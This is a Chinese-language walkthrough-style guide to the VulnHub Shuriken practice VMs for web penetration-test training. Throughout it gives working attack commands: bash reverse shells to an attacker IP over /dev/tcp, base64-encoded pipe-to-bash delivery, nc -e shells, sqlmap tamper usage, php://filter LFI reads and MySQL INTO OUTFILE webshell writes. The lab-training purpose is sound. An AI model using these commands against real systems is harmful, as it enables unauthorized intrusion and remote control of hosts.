1. 项目概述：Vulnhub Shuriken 系列到底是练什么的

先说结论：如果你正在备考 CWEE（认证Web应用渗透测试），或者想系统补一补 Web 层的实战技能，Shuriken 系列基本是绕不开的一套靶机。它和那些上来就让你打内网、打域控的综合靶机不一样，这一系列的重心非常聚焦——就是以 Web 应用为突破口，把当前真实环境中最高频的那几类漏洞挨个给你喂一遍。换句话说，刷完这个系列，你对 Web 渗透从信息收集到命令执行的整个链路会有一个非常扎实的体感。

我第一次接触这个系列是因为某个安全社区的老哥推荐，当时我的状态属于"啥都玩过一点，但没有一个精通"。常规的包含、注入、上传我都会测，可一旦碰到 CMS 深度定制、接口鉴权链路复杂一点的目标，思路就容易断。Shuriken 系列正好治这个问题，它不会给你一条完全标准的路，而是模拟了实战里最常见的组合拳：一个看起来人畜无害的页面，背后藏着一堆可深挖的接口；一个上传点，可能连着文件包含；一个登录表单，绕过之后能让你拿到网站的源码备份。这些都特别贴近实际工作中遇到的业务系统。

那这套靶机为什么叫 Shuriken？从视觉上理解，手里剑的特点是"小而锋锐，出手即中要害"。这个系列的靶机体积普遍不大，运行起来很轻，但每一台都精准击中一个技术点或几个技术点的组合。你不用花大量时间去猜某个无关服务的版本，也不用纠结某个非核心端口的作用——给到你的线索，几乎每一处都有用。这既是它作为备考靶机的优点，也是它和真实靶标之间的差距：真实渗透里噪音太多，而这个系列帮你把噪声滤掉了。

适合谁来刷？我觉得三类人最合适：

• 准备考 CWEE 的人，因为这个系列在 Web 漏洞覆盖度和考试题型贴合度上做得十分对口；
• 刚能独立打完初级靶机、想往"像个真正测试者那样思考"进阶的人；
• 工作中主要做开发或运维、想反向理解攻击面的人——你刷完会比读十篇安全文章都更能理解为什么代码要那么写、补丁要那么打。

下面我从环境搭建、测试思路、实操流程、问题排查这几个维度展开，把我刷完这个系列积累下来的经验一次性整理清楚。

2. 环境准备与前置配置

2.1 虚拟机平台选择：VirtualBox 还是 VMware

VulnHub 提供的镜像通常都有.ova格式的导出包，而 Shuriken 系列也不例外。很多人一上来就纠结到底用 VirtualBox 还是 VMware，实际不必过多纠结——两个都能跑，但有几个细节会直接影响你能不能顺利启动。

我个人的建议是直接用 VirtualBox，原因有两个：一是 VulnHub 官方在测试环境时通常优先验证 VirtualBox 兼容性，遇到网络或启动问题的概率要小一些；二是 VirtualBox 的"仅主机网络"配置起来比 VMware 直观，靶机的 IP 获取情况也更容易观察。当然，如果你日常已经在用 VMware Workstation，直接把.ova导入也能用，但导入之后最好去"虚拟机设置"里确认一下网卡类型是否被正确识别。

导入流程很简单：VirtualBox 里选择"导入虚拟电脑"，选中.ova文件，然后调整虚拟机的内存和 CPU 核心数，默认配置一般够用。如果说有什么特别要注意的，那就是虚拟机的网卡模式。靶机通常默认是 NAT 或仅主机模式，而你的攻击机（比如 Kali）需要和它处于同一个网络里才能互通。比较稳妥的做法是把两台虚拟机都设置为"仅主机网络"，或者把 Kali 设置为"使用两个网卡"，一个 NAT 用于外网更新工具，一个仅主机用于和靶机通信。

2.2 网络互通与 IP 发现：别在这个环节卡住

刷这类 Web 靶机时，最让人丧失热情的就是"开机之后 ping 不通靶机"。绝大多数情况都出在网络模式不一致上：攻击机在仅主机网络里，靶机却走的是 NAT，两边自然不在同一个网段。

所以你开机之后第一件事不是急着访问，而是先确认 IP。Shuriken 这类基于 Ubuntu 的虚拟机开机后会显示一个登录提示符，直接输入账号密码登录，用ip addr或ifconfig看当前分配的地址。如果靶机是 DHCP 获取地址，通常你会看到一个10.0.x.x或192.168.x.x的地址，和你 Kali 的虚拟网卡地址处于同一网段，说明网络已经通了。

如果不管怎么弄都拿不到 IP，常见原因是网卡驱动或网卡 MAC 地址变化导致 DHCP 没正常走完流程，这种情况下可以试着在虚拟机设置里切换一下网卡类型（比如从Intel PRO/1000换成PCnet-FAST III），然后重启靶机。这个手法虽然听起来很"玄学"，但对于一些老镜像来说确实有效。

另外补充一句：VulnHub 上很多靶机说明文件里（下载页面的描述文字）会给出默认的登录凭证或者 IP 提示，Shuriken 系列的说明虽然不算冗长，但值得逐字读一遍。很多时候你以为的"盲猜"，其实官方已经暗示了路径。

2.3 攻击机工具清单：够用即可，别贪多

很多人刷靶机之前花大量时间折腾工具，装了个几十 G 的工具集，结果实战时只用了其中几个。Shuriken 系列要用的工具其实非常固定，我列一份我在刷这个系列过程中真正高频用到的清单：

• 浏览器（Firefox 即可）+ Burp Suite 社区版，用于抓包、改包、重放；
• dirsearch 或 ffuf，用于资源路径爆破；
• sqlmap 搭配手工注入确认，用于 SQL 注入验证；
• 一个 SSH 客户端和 Netcat，用于反弹 shell 和远程连接；
• 本地监听工具，比如nc -lvnp或者更顺手一点的rlwrap nc -lvnp；
• 偶尔用到的编码工具，比如 CyberChef 或者写一个小脚本处理加密数据。

这套组合不需要多豪华，关键在于你知不知道什么时候用哪个。比如目录探测，Shuriken 系列里有几台靶机把隐藏在深处的备份文件或接口藏得非常隐蔽，这时候 dirsearch 的字典质量就很重要，我后面会专门展开讲。

3. 核心思路：从拿到靶机到拿到 Shell 的完整链路

3.1 别急着走工具流，先理解这套靶机的"出题逻辑"

刷靶机和我们做 CTF 有一点很像——你要先猜出题人想考你什么。Shuriken 系列的出题逻辑非常明确：它模拟的是"真实业务系统被人从 Web 入口打穿"的路径，而不是"服务器被人直接爆破 SSH"的路径。所以你在这个系列里几乎不会碰到那种只需要弱口令爆破就能打进去的情况，正门通常都封得好好的，漏洞永远藏在业务的某个边缘角落。

基于这个逻辑，我对这个系列的整体策略一直是"先摸清业务，再找漏洞点"。很多新人容易犯的错误是一上来就开 sqlmap 扫全站，或者用大字典直接跑后台路径，结果浪费了大量时间。正确的姿势是先搞清楚这是一个什么类型的站点：

• 它是一个 CMS 产品，还是完全定制的业务系统？
• 有没有用户登录、注册、上传等功能点？
• 页面 URL 里有没有?page=、?file=、?id=这类典型参数？
• 静态资源、JS 文件里有没有泄露接口路径或注释信息？

这些信息拿到手之后，你的攻击面画像就清晰了。比如你在页面源码里看到一个admin/login.php的引用，那说明后台入口可能就在这附近；如果你发现某个功能点提交的数据会被拼接到文件路径里，那文件包含和目录穿越就得重点测。这种"先读业务，再下结论"的思路，和 CWEE 考试中强调的"Web 应用黑盒测试方法论"是高度一致的。

3.2 放着一个靶机，我一般按这个顺序打

刷 Shuriken 系列的次数多了以后，我总结了一套标准的推进顺序，基本可以覆盖这一系列九成以上的情况：

1. 端口扫描与指纹识别：nmap -sC -sV -T4 <靶机IP>，把开放端口和服务版本先拿到手。
2. Web 站点爬取：浏览器访问题目服务，把首页、静态资源、JS 文件、可能的登录接口都过一遍。
3. 目录与文件枚举：用字典压缩的方式把隐藏路径炸出来。-w字典选择的地不地很重要，我习惯先把默认小字典跑完，再挂一个包含常见备份文件名的扩展字典。
4. 参数发现与注入点确认：找到可能带来交互的参数，直观判断其是否可能进入后端逻辑，再手工测试闭合方式。
5. 绕过与利用：拿到注入点之后，根据上下文选择 SQL 注入、命令注入、文件包含等具体手法，并逐步向前推进。
6. 反弹 Shell 与权限提升：拿到 WebShell 之后先别急着做操作，确认当前的用户身份和运行环境，再考虑提权路径。

部分 Shuriken 靶机在拿到一个有限的 shell 后，还需要面对用户切换或权限提升的挑战。这个过程可能涉及查看数据库配置文件、抓取环境变量、分析定时任务等操作。这些手法在 CWEE 考试范围中也常常出现，所以建议你把它当成正式实战对待，不要因为拿到了初始 shell 就开始松懈。

3.3 需要反复体会的"组合漏洞"思维方式

Shuriken 系列最有价值的一点，是它强迫你把不同类型的漏洞串联起来思考，而不是孤立地单点利用。这在真实 Web 渗透里是核心能力。

举个简单例子：你在一个上传功能里发现只能传图片格式，且后端做了扩展名白名单校验，直接传 PHP 文件会被拦截。多数新人卡在这一步就放弃了，但如果你结合文件包含漏洞，思路就会完全不同——你可以上传一个内容包含 PHP 代码的图片文件，利用后端包含该图片文件路径的功能，把图片里的 PHP 代码解释执行。这就形成了"上传白名单绕过 + 本地文件包含"的组合利用。

Shuriken 系列中类似这种组合逻辑渗透在多个环节。所以刷完之后，你对单个漏洞的利用经验是次要收获，真正的收获是你建立起了一种条件反射：当一件操作被限制时，你会下意识地思考"这个限制到底限制了什么，没有限制什么"、"还有哪些路径可以间接到达目标"。

4. 实操过程与核心环节实现

4.1 目录枚举中的字典策略与细节处理

在 Shuriken 系列的实战里，目录枚举使用的字典决定了你能不能发现关键入口。这个系列中有几台靶机把关键路径放在非常不显眼的位置，例如/backup/、/temp/、/old/，以及带了日期或版本号的文件名。默认字典如果过于精简，往往扫不出现这些路径。

我的做法是分两轮扫描：第一轮用固定的小字典，优先看常见的admin、login、upload、config等路径；第二轮挂载一个带扩展名的字典，例如php、bak、txt、zip、sql，并开启递归扫描。这里有一个小技巧：ffuf的-recursion参数可以帮助你在发现目录后自动深入枚举子目录，可以省去大量手动操作。

扫描命令可以参考这样的写法：

ffuf -u http://<target>/FUZZ -w /usr/share/wordlists/dirb/common.txt -recursion -recursion-depth 2 -o dir_result.txt

扫描结束后不要只看状态码为 200 的结果，301、302、403这些状态码也有很高价值。比如发现某个路径返回 403，往往说明它存在但因为目录权限配置被限制了访问，这种路径值得你用不同的请求方式或添加特定请求头再尝试。有几次实战中，我就是从一个 403 路径的响应头里看到一个明显的内部 IP 信息，顺着这个线索拿到了内网拓扑的初步印象。

4.2 SQL 注入的确认与用不用 sqlmap 的平衡

Shuriken 系列里 SQL 注入几乎是一道必考题，但它的呈现方式并不总是标准的' OR 1=1。有时注入点藏在 JSON 格式提交的数据里，有时是数字型注入且闭合方式比较特殊，还有的时候后端使用了某种过滤但对特定字符放行。

针对这一系列靶机，我用 sqlmap 的使用原则是"先用手工判断，再决定开不开工具"。手工判断的核心是三个动作：

• 在参数值后加单引号，观察页面的报错输出或行为变化；
• 输入1 and 1=1与1 and 1=2对比响应内容；
• 在时间型场景下输入sleep(3)观察响应时延差。

如果确认存在注入，再上 sqlmap 做数据提取。注意靶机上的 WAF 或过滤规则可能在测试中产生干扰，sqlmap 的--tamper参数可以帮助你绕过部分过滤逻辑，例如space2comment可以把空格替换为注释符，between可以绕过对等号关键词的检测。不过要理解这些 tamper 脚本的原理，不要盲目堆叠，否则反而会让请求变得过于怪异而容易被拦截。

另外，如果发现一个注入点是通过 POST 方式提交的 JSON 数据，你可以用--data参数指定原始请求内容，并配合--headers添加Content-Type: application/json，确保 sqlmap 发送的请求格式与原始格式一致。

4.3 文件包含与利用链构建：从读取源码到执行命令

文件包含在 Shuriken 系列中往往不只是"读一下源码"那么简单，而是一个衔接其他漏洞的枢纽。你通过 LFI 可以读取到的内容通常包括：

• /etc/passwd，确认系统用户；
• Web 应用配置文件，例如config.php，从中拿到数据库账号密码；
• 日志文件或上传文件目录下的文件，为后续包含执行代码做准备。

在无法直接通过 LFI 读文件时，PHP 环境的php://filter流是一个很实用的路径。使用这种方式，可以以 Base64 编码的形式读取目标 PHP 文件的内容，避免代码被直接执行造成的信息丢失。举个例子：

http://<target>/index.php?page=php://filter/convert.base64-encode/resource=config.php

拿到 Base64 编码后解码，就能看到config.php的源码，数据库凭证往往就在其中。这个技巧在 Shuriken 系列的多台靶机中都适用，堪称保姆级福利。

当 LFI 结合其他漏洞扩大为代码执行时，常见思路是通过日志注入或文件上传将恶意代码带入目标的文件系统，再通过 LFI 包含恶意文件，最后执行系统命令。这个过程最容易踩的坑是包含路径出错，比如没有完整理解 Web 根目录的实际绝对路径就胡乱拼接。建议你先通过一次成功的 LFI 读取phpinfo()或/proc/self/environ之类的文件，拿到目标 Web 服务的真实路径信息，再设计后续包含。

4.4 反弹 Shell 的选型与稳定性优化

拿到代码执行点之后，下一步是建立稳定的通信渠道。Windows 环境下有各种 powershell 反弹方式，但 Shuriken 系列基于 Linux，常规的做法就是bash -c 'bash -i &>/dev/tcp/<攻击机IP>/<端口> 0>&1'或使用python反弹方式。

这里有个实际问题：你在 Web 参数里直接输入反弹命令时，命令中经常包含空格、&、;等特殊字符，可能被后端解析或过滤。所以通常需要先进行 URL 编码或 Base64 编码，再放入请求中。例如：

echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | base64

拿到编码后的字符串后，在可利用的注入点中执行echo <base64> | base64 -d | bash，这样能大幅减少特殊字符带来的解析问题。

连接稳定性也是不容忽视的一点。很多靶机上你拿到的 shell 环境极其简陋，stty终端控制可能无效，也有可能出现TERM环境变量未设置导致命令输出错乱的情况。我的建议是连接上之后顺手做一次export TERM=xterm，再用python -c 'import pty;pty.spawn("/bin/bash")'升级为交互式 shell，可以把操作体验提升一大截。

4.5 数据库凭证与配置泄露的使用

Shuriken 系列里，数据库凭证的用处通常分两种：一种是可登录到整个系统后台，获得更强的操作权限；另一种是可利用数据库中的特定功能直接向 Web 目录写文件，从而配合 LFI 完成 Webshell 部署。

如果你通过配置文件拿到了 MySQL 的 root 密码，并且数据库服务允许远程或本地连接，就可以尝试登录：

mysql -u root -p

进去之后，重点看这几类信息：用户表里的管理员密码哈希，如果可以直接识别算法则尝试解密或哈希传递；应用配置表里的站点路径，确认 Web 根目录；还有数据库当前账号的权限，检查是否可以执行INTO OUTFILE写文件。MySQL 的secure_file_priv限制在实际靶机当中可能并不严格，一旦可以写文件，直接向 Web 目录写入一句话木马就是一条非常干净的路径。

不过要说清楚：当你已经可以连上数据库时，通常意味着你离系统权限不远了，很多情况下你会发现数据库的FILE权限被授予给了当前账号，或者拥有更高权限的系统账号可以直接执行系统命令。此时不妨先看一下SELECT @@version、SELECT current_user()等命令的输出，快速判断可利用面的大小。

5. 常见问题与排查技巧实录

5.1 靶机 IP 拿不到或经常变化

这个问题排在所有问题的第一位。靶机扫出来是空的、nmap 没有结果，不代表你操作有误，大概率是网络没通。解决思路按优先级排列：

• 确认两台虚拟机的网络模式均为仅主机，或 NAT 与仅主机的组合配置正确；
• 在靶机终端用ip addr或netstat -rn查看接口信息和默认网关；
• 用arp-scan扫描本地网段，有些情况下靶机 IP 不在预期网段内；
• 检查是否开启了多台虚拟机的 DHCP 冲突，尽量保证同一时间只启动一台靶机。

另外我自己遇到过一个挺有意思的情况：靶机通过 DHCP 获得了 IP，但在 Kali 里用浏览器访问时却出现了 "Unable to connect"。后来发现第一次访问时我用的 URL 还是旧的靶机 IP，而靶机重启后拿到的是另一个 IP。所以这类靶机的正确操作是先确认当前 IP 再实时更新你的访问地址，不要依赖记忆。

5.2 上传的恶意文件不执行

上传点明明是可控的、也成功把含 PHP 代码的文件传上去了，但访问这个文件时页面只是白屏或直接下载而不是执行。这个问题主要在于 Web 服务器没有将你上传的文件作为脚本解析。常见解决办法：

• 尝试更改上传文件的后缀，比如.php换成.php5、.phtml、.php.jpg等，结合服务器的解析规则；
• 检查上传目录是否可以直接通过 URL 访问，若不行则寻找上传文件的真实存储位置；
• 结合文件包含漏洞，让代码先被包含执行，绕过上传目录不可执行脚本的问题。

5.3 sqlmap 跑不出数据导致死磕

如果你已经手工确认注入点存在，但 sqlmap 一直报[CRITICAL]或始终无结果，先把请求级别调高观察一下 sqlmap 的实际发包情况：

sqlmap -u "http://<target>/test.php?id=1" --level=3 --risk=2 --batch -v3

-v3可以打印出每个 HTTP 请求的详情，你会看到 sqlmap 到底在尝试什么 payload。很多时候问题出在它判断注入时依赖的响应特征不明确，此时可以尝试--string或--code指定判定成功/失败的特征，让它更准确地分辨请求结果。

遇到过滤规则比较复杂的注入点，也可以考虑手动利用结合其他工具提速。sqlmap 不是万能的，它只是一种自动化工具，长期依赖它来练习，反而会削弱你对真正问题的判断力。

5.4 反弹 Shell 成功但很快断开

这种情况占了"好不容易打进 Shell"体验里很大的比例。原因可能是流量被防火墙或 IDS 切断了，也可能是 Shell 进程收到 SIGHUP 信号后退出。

缓解思路是选用更加"内网友好"的反弹模式。例如利用 Python 的socket模块写一个简易的反弹脚本，或使用nc -e /bin/bash（若目标安装了 netcat）。另外，用rlwrap nc -lvnp <port>监听可以在对方连接断开后重新获得干净的输入历史，减少终端断连带来的挫败感。

5.5 拿到普通用户后提权没有思路

Shuriken 系列虽然以 Web 渗透为主，但拿到初始 Shell 后的提权环节依然可能出现。我的经验是从这四类信息入手：

• 有 sudo 权限吗？用sudo -l直接看；
• 有配置不当的 SUID 文件吗？用find / -perm -4000 -type f 2>/dev/null；
• 有可写的计划任务吗？查看/etc/crontab和/var/spool/cron/；
• 有数据库或应用服务以高权限运行吗？留意进程列表里不常见的进程名，特别是 Web 中间件和数据库进程。

很多提权题的突破点来自一个看似无关的漏洞：某个服务以 root 运行且暴露了网络接口，利用其接口漏洞（如命令执行接口），可以拿到 root Shell。所以在拿到普通用户的 Shell 后，花十分钟观察系统进程和网络监听端口，有时比爆破一万次密码都有效。

6. 刷完 Shuriken 系列之后，我的几点反思

刷这种系列靶机最大的价值不在于"打出多少台 Flag"，而在于把你脑子里零散的漏洞利用知识串成了一条真正的操作链。以前我测试 Web 站点时，总是"这里试试那里试试"，遇到一个点不行就换一个点，毫无章法。刷 Shuriken 系列之后，我开始习惯在动手之前先建立一个攻击面模型，把端口、服务、参数、数据流全部画在一张图里，然后对着图逐步尝试。你会发现，当你有了结构化的思路，很多"看起来是巧合"的利用路径其实都是必然的。

在这个系列中，有几台靶机需要你回到基础层面思考问题。比如某个参数的值看起来只是一个普通数字，但实际上它参与了文件路径的拼接；又比如某个响应头里多了一个自定义字段，经过解码之后就是一组数据库凭证。这些细节恰恰是真实渗透测试过程中最容易被忽略的入口点。

最后分享一个小习惯：每次完成一台靶机后，我会花半小时把整个利用过程写成一篇简短笔记，记录哪些操作浪费了时间、哪些判断是准确的、哪些地方下一台靶机可以做得更快。你把这个习惯坚持下去，一段时间之后回头对比，会看到自己的测试速度和准确率都有质的提升。

Shuriken 系列只是 VulnHub 上的一个小系列，但它把 Web 渗透测试里最核心的思维训练做得非常到位。如果你刚入手，请耐心打完，特别是不要跳过那些看似最简单的靶机——很多关键技能，恰恰是在朴素场景里练出来的。